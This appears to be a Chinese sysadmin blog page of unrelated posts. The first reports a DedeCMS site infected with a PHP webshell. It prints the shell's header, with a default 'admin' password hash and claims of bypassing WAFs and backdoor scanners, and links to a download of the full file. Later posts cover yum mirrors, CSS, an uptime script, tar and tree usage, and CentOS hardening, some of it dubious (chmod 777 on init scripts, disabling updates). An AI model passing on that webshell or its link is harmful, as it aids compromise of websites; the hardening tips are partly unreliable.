一个dedecms织梦做的网站被挂马了

木马的开始内容如下

 

Arno<?php 
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
ini_set('max_execution_time',100000);
ini_set('memory_limit','256M');
define('PASSWD','21232f297a57a5a743894a0e4a801fc3');/*默认是admin,MD5加密方式*/
define('VERSION','Bypass Waf Php Script(可绕过安全狗、360WAF、百度云、阿里云Waf、牛盾、云盾、以及冷门Waf、市面所有后门检测工具');
define('THISFILE',str_replace(array('','//'),array('/','/'),__FILE__));
define('THISDIR',dirname(THISFILE).'/');
define('ROOTDIR',strtr(THISFILE,array($_SERVER['PHP_SELF'] => '')).'/');

然后没有深究,只是把这个给删除处理

 

经测试这个木马文件挺强大的

 

 

挂马的原文件下载地址:

https://72k.us/file/16922972-422814100

请勿非法使用,谢谢。

 

国外VPS更新yum源方法

购买了国外的VPS,无法使用yum源,试过163的源,一直无法链接

现通过更换阿里云的yum源解决

1.下载阿里云repo文件

http://mirrors.aliyun.com/repo/Centos-6.repo

上传到root目录

 

2.备份并替换系统的repo文件
[root@localhost ~]# cd /etc/yum.repos.d/
[root@localhost ~]# mv CentOS-Base.repo CentOS-Base.repo.bak
[root@localhost ~]# mv /root/Centos-6.repo CentOS-Base.repo

 

3. 执行yum源更新
[root@localhost ~]# yum clean all
[root@localhost ~]# yum makecache
[root@localhost ~]# yum update

 

4. 到此已结束,用yum安装一下文件,看是否OK
[root@localhost ~]# yum install vim*

[root@localhost ~]# yum install wget

5. 安装centos常用的软件包及工具
常见压缩工具 zip unzip bzip2
[root@localhost ~]# yum -y install unzip zip bzip2 bzip2-devel
gcc gcc++编译器
[root@localhost ~]# yum install gcc gcc-c++ -y
cmake编译器
[root@localhost ~]# yum install cmake make -y
图片资源
[root@localhost ~]# yum -y install gd libjpeg libjpeg-devel libpng libpng-devel freetype-devel
其它常用资源包工具
[root@localhost ~]# yum -y install autoconf bison automake zlib* fiex* libxml* ncurses-devel libmcrypt* libtool-ltdl-devel*

 

超宽图片全屏居中显示的方法

现在很多网站的图片都设计成超宽图片,在小屏显示器上显示,会遇到显示不全,不居中显示的问题。

为了网站的美观和图片达到好的效果,我们要实现在超宽图片全屏居中显示,实现方法如下:

<html>
<head>
<title>超宽图片全屏居中,超出部分自动隐藏</title>
<style>
.content {
width:100%;
position:relative;
overflow:hidden;
/*height:1000px;高度可以不设置*/
}
.info {
width:1600px;
/*position:absolute;设置高度时使用*/
position:relative; /*页面底部有内容时使用*/
left:50%;
margin-left:-800px;
}
</style>
</head>
<body>
<div class="content">
<div class="info">
<img src="adimg.jpg">
</div>
</div>
</body>
</html>
css部分宽度根据图片的尺寸进行设置即可。

bat curl 发送http请求 监控网站

完整bat脚本:

@echo off

color 1f
title 正在监控xxxx.com
echo 正在监控xxxx.com...
:aaa
set str="0"
curl -s http://xxxx.com/checkxxxx.html>check.txt
set /p str=<check.txt
if not "%str%"=="1" (
echo 在%date% %time:~0,5% 无法正常访问,重启中...
cd c:serverPnCmds
echo. | call Stop.cmd
sleep 2
echo. | call Start.cmd
sleep 2
echo 在%date% %time:~0,5% 重启成功
echo 正在监控xxxx.com...
)
sleep 60
goto aaa

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
说明:
1、访问检测地址,该地址正常访问的话返回1,例如在http://xxxx.com/checkxxxx.html这个html文件中就只写个1
2、接收返回的页面,保存在check.txt
3、读取check.txt内容,存放在变量str中
4、判断str是否等于1,否则的话执行服务器上用于重启服务的脚本,因脚本会提示“按任意键继续”,故call前面加上echo. | (注意echo后面有个点)
5、睡眠60秒后跳到aaa出重新检测

注意:该脚本依赖curl.exe,用于拿到http请求的页面内容,可以到这里下载:http://curl.haxx.se/download.html

ECSHOP模板商品0元显示为价格面议

网站商品0元修改成价格面议

需要修改的文件:includes/lib_common.php 修改教程如下面

打开 includes/lib_common.php 找到
return sprintf($GLOBALS['_CFG']['currency_format'], $price);

替换为

if (intval($price) == 0) { return "价格面议";} else { return sprintf($GLOBALS['_CFG']['currency_format'], $price); }

请注意:修改后,影响的有销售价,市场价,属性价。

CentOS tree命令详解

如果没有tree命令,请先安装

yum -y install tree

Lnux下tree命令详解---linux以树状图逐级列出目录的内容命令
#############################################################################
命令格式
tree <选项或者是参数> <分区或者是目录>
#############################################################################
(1) tree 最长使用的参数或者是选项 

-a 显示所有文件和目录。
[root @liyao~]# tree -a
.
|-- .bash_logout
|-- .bash_profile
|-- .bashrc
|-- .cshrc
|-- .gconf
|   `-- apps
|       |-- %gconf.xml
|       `-- gnome-session
|           |-- %gconf.xml
|           `-- options
|               `-- %gconf.xml
|-- .gconfd
|   `-- saved_state
|-- .tcshrc
|-- anaconda-ks.cfg
|-- install.log
`-- install.log.syslog
**************************************************************************************
-d 显示目录名称而非内容。
[root @liyao~]# tree -d
.
`-- liyao

1 directory

*****************************************************************************
-f 在每个文件或目录之前,显示完整的相对路径名称。
[root@liyao ~]# tree -f
.
|-- ./anaconda-ks.cfg
|-- ./install.log
|-- ./install.log.syslog
`-- ./liyao
1 directory, 3 files
*****************************************************************************
-F 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","=","@","|"号。
[root@liyao ~]# tree -F
.
|-- anaconda-ks.cfg
|-- install.log
|-- install.log.syslog
`-- liyao/

1 directory, 3 files
*****************************************************************************
-r 以相反次序排列
[root@liyao ~]# tree -r
.
|-- liyao
|-- install.log.syslog
|-- install.log
`-- anaconda-ks.cfg

1 directory, 3 files
*****************************************************************************
-t 用文件和目录的更改时间排序。
[root@liyao ~]# tree -t
.
|-- liyao
|-- anaconda-ks.cfg
|-- install.log
`-- install.log.syslog

1 directory, 3 files
[root@liyao ~]# ls -l
total 56
-rw------- 1 root root  1012 Jul  3 21:43 anaconda-ks.cfg
-rw-r--r-- 1 root root 27974 Jul  3 21:43 install.log
-rw-r--r-- 1 root root  4708 Jul  3 21:43 install.log.syslog
drwxr-xr-x 2 root root  4096 Jul  3 23:30 liyao
*****************************************************************************
-L n 只显示 n 层目录 (n 为数字)
[root@liyao ~]# tree -L 2
.
|-- anaconda-ks.cfg
|-- install.log
|-- install.log.syslog
`-- liyao
`-- baobao

2 directories, 3 files
*****************************************************************************
--dirsfirst 目录显示在前文件显示在后
[root@liyao ~]# tree --dirsfirst
.
|-- liyao
|   `-- baobao
|-- anaconda-ks.cfg
|-- install.log
`-- install.log.syslog

2 directories, 3 files

#####################################################################
(2) 可以加的参数,但是不是经常用得到

-A 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
-C 在文件和目录清单加上色彩,便于区分各种类型。
-D 列出文件或目录的更改时间。
-g 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
-i 不以阶梯状列出文件或目录名称。
-I 不显示符合范本样式的文件或目录名称。
-l 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
-n 不在文件和目录清单加上色彩。
-N 直接列出文件和目录名称,包括控制字符。
-p 列出权限标示。
-P 只显示符合范本样式的文件或目录名称。
-q 用"?"号取代控制字符,列出文件和目录名称。
-s 列出文件或目录大小。
-u 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
-x 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该子目录予以排除在寻找范围外。

参考:http://www.centoscn.com/CentOS/help/2013/0926/1715.html
参考:http://blog.csdn.net/feeltouch/article/details/46643379

linux tar.gz zip 解压缩 压缩命令

tar
-c: 建立压缩档案
-x:解压
-t:查看内容
-r:向压缩归档文件末尾追加文件
-u:更新原压缩包中的文件

这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个。下面的参数是根据需要在压缩或解压档案时可选的。

-z:有gzip属性的
-j:有bz2属性的
-Z:有compress属性的
-v:显示所有过程
-O:将文件解开到标准输出

下面的参数-f是必须的

-f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。

# tar -cf all.tar *.jpg
这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。

# tar -rf all.tar *.gif
这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。

# tar -uf all.tar logo.gif
这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。

# tar -tf all.tar
这条命令是列出all.tar包中所有文件,-t是列出文件的意思

# tar -xf all.tar
这条命令是解出all.tar包中所有文件,-x是解开的意思

压缩
tar –cvf jpg.tar *.jpg //将目录里所有jpg文件打包成tar.jpg
tar –czf jpg.tar.gz *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为jpg.tar.gz
tar –cjf jpg.tar.bz2 *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用bzip2压缩,生成一个bzip2压缩过的包,命名为jpg.tar.bz2
tar –cZf jpg.tar.Z *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用compress压缩,生成一个umcompress压缩过的包,命名为jpg.tar.Z
rar a jpg.rar *.jpg //rar格式的压缩,需要先下载rar for Linux
zip jpg.zip *.jpg //zip格式的压缩,需要先下载zip for linux

解压
tar –xvf file.tar //解压 tar包
tar -xzvf file.tar.gz //解压tar.gz
tar -xjvf file.tar.bz2 //解压 tar.bz2
tar –xZvf file.tar.Z //解压tar.Z
unrar e file.rar //解压rar
unzip file.zip //解压zip

总结
1、*.tar 用 tar –xvf 解压
2、*.gz 用 gzip -d或者gunzip 解压
3、*.tar.gz和*.tgz 用 tar –xzf 解压
4、*.bz2 用 bzip2 -d或者用bunzip2 解压
5、*.tar.bz2用tar –xjf 解压
6、*.Z 用 uncompress 解压
7、*.tar.Z 用tar –xZf 解压
8、*.rar 用 unrar e解压
9、*.zip 用 unzip 解压

全站图片src添加前缀JS方法

全站图片src添加前缀JS方法

<script type="text/javascript">
window.onload=function(){
var imgs = document.getElementsByTagName('img');
for(var i = 0;imgs[i];i++){
var thttp = imgs[i].getAttribute('src').indexOf("http");
var tok = imgs[i].getAttribute('src').indexOf("//");
if(thttp == -1 || tok == -1) {imgs[i].setAttribute('src', 'https://www.yingzi.biz/' + (imgs[i].getAttribute('src') || ''));}
}
}

一定用setAttribute,getAttribute,切忌莫直接用imgs[i].src = 'http//aaa/' + imgs[i].src

CentOS Linux服务器安全设置

引言:

我们必须明白:最小的权限+最少的服务=最大的安全

所以,无论是配置任何服务器,我们都必须把不用的服务关闭、把系统权限设置到最小话,这样才能保证服务器最大的安全。下面是CentOS服务器安全设置,供大家参考。

一、注释掉系统不需要的用户和用户组
注意:不建议直接删除,当你需要某个用户时,自己重新添加会很麻烦。
cp  /etc/passwd  /etc/passwdbak   #修改之前先备份
vi /etc/passwd  #编辑用户,在前面加上#注释掉此行
#adm:x:3:4:adm:/var/adm:/sbin/nologin
#lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
#sync:x:5:0:sync:/sbin:/bin/sync
#shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
#halt:x:7:0:halt:/sbin:/sbin/halt
#uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
#operator:x:11:0:operator:/root:/sbin/nologin
#games:x:12:100:games:/usr/games:/sbin/nologin
#gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
#ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin    #注释掉ftp匿名账号
cp /etc/group   /etc/groupbak   #修改之前先备份
vi /etc/group  #编辑用户组,在前面加上#注释掉此行
#adm:x:4:root,adm,daemon
#lp:x:7:daemon,lp
#uucp:x:14:uucp
#games:x:20:
#dip:x:40:
二、关闭系统不需要的服务
service acpid stop  chkconfig acpid off   #停止服务,取消开机启动  #电源进阶设定,常用在 Laptop 上
service autofs stop  chkconfig autofs off  #停用自动挂载档桉系统与週边装置
service bluetooth stop  chkconfig  bluetooth  off   #停用Bluetooth蓝芽
service cpuspeed stop  chkconfig  cpuspeed  off   #停用控制CPU速度主要用来省电
service cups stop   chkconfig cups off    #停用 Common UNIX Printing System 使系统支援印表机
service ip6tables stop  chkconfig ip6tables off   #禁止IPv6
####################################################################################################
如果要恢复某一个服务,可以执行下面操作
service acpid start  chkconfig acpid on
三、禁止非root用户执行/etc/rc.d/init.d/下的系统命令
chmod -R 700 /etc/rc.d/init.d/*
chmod -R 777 /etc/rc.d/init.d/*    #恢复默认设置

四、给下面的文件加上不可更改属性,从而防止非授权用户获得权限
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/gshadow
chattr +i /etc/services    #给系统服务端口列表文件加锁,防止未经许可的删除或添加服务
lsattr  /etc/passwd   /etc/shadow  /etc/group  /etc/gshadow   /etc/services   #显示文件的属性
注意:执行以上权限修改之后,就无法添加删除用户了。
如果再要添加删除用户,需要先取消上面的设置,等用户添加删除完成之后,再执行上面的操作
chattr -i /etc/passwd     #取消权限锁定设置
chattr -i /etc/shadow
chattr -i /etc/group
chattr -i /etc/gshadow
chattr -i /etc/services   #取消系统服务端口列表文件加锁
现在可以进行添加删除用户了,操作完之后再锁定目录文件
五、限制不同文件的权限
chattr +a .bash_history           #避免删除.bash_history或者重定向到/dev/null
chattr +i .bash_history
chmod 700 /usr/bin                恢复  chmod 555 /usr/bin
chmod 700 /bin/ping              恢复  chmod 4755 /bin/ping
chmod 700 /usr/bin/vim         恢复  chmod 755 /usr/bin/vim
chmod 700 /bin/netstat          恢复  chmod 755 /bin/netstat
chmod 700 /usr/bin/tail          恢复  chmod 755 /usr/bin/tail
chmod 700 /usr/bin/less         恢复  chmod 755 /usr/bin/less
chmod 700 /usr/bin/head       恢复  chmod 755 /usr/bin/head
chmod 700 /bin/cat                恢复  chmod 755 /bin/cat
chmod 700 /bin/uname          恢复  chmod 755 /bin/uname
chmod 500 /bin/ps                 恢复  chmod 755 /bin/ps
六、禁止使用Ctrl+Alt+Del快捷键重启服务器
cp /etc/inittab  /etc/inittabbak
vi /etc/inittab    #注释掉下面这一行
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
七、使用yum update更新系统时不升级内核,只更新软件包

由于系统与硬件的兼容性问题,有可能升级内核后导致服务器不能正常启动,这是非常可怕的,没有特别的需要,建议不要随意升级内核。
cp /etc/yum.conf    /etc/yum.confbak
1、修改yum的配置文件 vi /etc/yum.conf  在[main]的最后添加 exclude=kernel*
2、直接在yum的命令后面加上如下的参数:
yum --exclude=kernel* update
查看系统版本  cat /etc/issue
查看内核版本  uname -a
八、关闭Centos自动更新
chkconfig --list yum-updatesd  #显示当前系统状态
yum-updatesd    0:关闭  1:关闭  2:启用  3:启用  4:启用  5:启用  6:关闭
service yum-updatesd stop      #关闭  开启参数为start
停止 yum-updatesd:                                        [确定]
service yum-updatesd status   #查看是否关闭
yum-updatesd 已停
chkconfig --level 35 yum-updatesd off  #禁止开启启动(系统模式为3、5)
chkconfig yum-updatesd off  #禁止开启启动(所有启动模式全部禁止)
chkconfig --list yum-updatesd  #显示当前系统状态
yum-updatesd    0:关闭  1:关闭  2:启用  3:关闭  4:启用  5:关闭  6:关闭
九、关闭多余的虚拟控制台
我们知道从控制台切换到 X 窗口,一般采用 Alt-F7 ,为什么呢?因为系统默认定义了 6 个虚拟控制台,
所以 X 就成了第7个。实际上,很多人一般不会需要这么多虚拟控制台的,修改/etc/inittab ,注释掉那些你不需要的。
cp  /etc/inittab  /etc/inittabbak
vi /etc/inittab
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
#2:2345:respawn:/sbin/mingetty tty2
#3:2345:respawn:/sbin/mingetty tty3
#4:2345:respawn:/sbin/mingetty tty4
#5:2345:respawn:/sbin/mingetty tty5
#6:2345:respawn:/sbin/mingetty tty6
十、删除MySQL历史记录

用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。
如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。
所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。
另外这两个文件我们也应该不让它记录我们的操作,以防万一。
cd
cp .bash_history  .bash_historybak  #备份
cp .mysql_history .mysql_historybak
rm .bash_history .mysql_history
ln -s /dev/null .bash_history
ln -s /dev/null .mysql_history
十一、修改history命令记录
cp /etc/profile   /etc/profilebak
vi /etc/profile
找到 HISTSIZE=1000 改为 HISTSIZE=50
十二、隐藏服务器系统信息
在缺省情况下,当你登陆到linux系统,它会告诉你该linux发行版的名称、版本、内核版本、服务器的名称。
为了不让这些默认的信息泄露出来,我们要进行下面的操作,让它只显示一个"login:"提示符。
删除/etc/issue和/etc/issue.net这两个文件,或者把这2个文件改名,效果是一样的。
mv  /etc/issue /etc/issuebak
mv  /etc/issue.net   /etc/issue.netbak
十三、优化Linux内核参数
cp /etc/sysctl.conf  /etc/sysctl.confbak
vi /etc/sysctl.conf    #在文件末尾添加以下内容

net.ipv4.ip_forward = 1 #修改为1

net.core.somaxconn = 262144

net.core.netdev_max_backlog = 262144

net.core.wmem_default = 8388608

net.core.rmem_default = 8388608

net.core.rmem_max = 16777216

net.core.wmem_max = 16777216

net.ipv4.netfilter.ip_conntrack_max = 131072

net.ipv4.netfilter.ip_conntrack_tcp_timeout_established = 180

net.ipv4.route.gc_timeout = 20

net.ipv4.ip_conntrack_max = 819200

net.ipv4.ip_local_port_range = 10024  65535

net.ipv4.tcp_retries2 = 5

net.ipv4.tcp_fin_timeout = 30

net.ipv4.tcp_syn_retries = 1

net.ipv4.tcp_synack_retries = 1

net.ipv4.tcp_timestamps = 0

net.ipv4.tcp_tw_recycle = 1

net.ipv4.tcp_tw_len = 1

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_keepalive_time = 120

net.ipv4.tcp_keepalive_probes = 3

net.ipv4.tcp_keepalive_intvl = 15

net.ipv4.tcp_max_tw_buckets = 36000

net.ipv4.tcp_max_orphans = 3276800

net.ipv4.tcp_max_syn_backlog = 262144

net.ipv4.tcp_wmem = 8192 131072 16777216

net.ipv4.tcp_rmem = 32768 131072 16777216

net.ipv4.tcp_mem = 94500000 915000000 927000000

/sbin/sysctl -p   #使配置立即生效

十四、CentOS 系统优化
cp  /etc/profile  /etc/profilebak2
vi /etc/profile      #在文件末尾添加以下内容
ulimit -c unlimited
ulimit -s unlimited
ulimit -SHn 65535
ulimit -S -c 0
export LC_ALL=C
source  /etc/profile    #使配置立即生效
ulimit -a    #显示当前的各种用户进程限制
十五、服务器禁止ping
cp  /etc/rc.d/rc.local  /etc/rc.d/rc.localbak
vi  /etc/rc.d/rc.local        #在文件末尾增加下面这一行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
参数0表示允许   1表示禁止

至此,CentOS Linux服务器安全设置基本完成,以上设置经过笔者实战测试(CentOS-5.5-x86_64)完全可用,更多的安全设置以及服务器优化,还请大家自行测试。

系统运维  www.osyunwei.com  温馨提醒:qihang01原创内容©版权所有,转载请注明出处及原文链接

原文链接:http://www.osyunwei.com/archives/754.html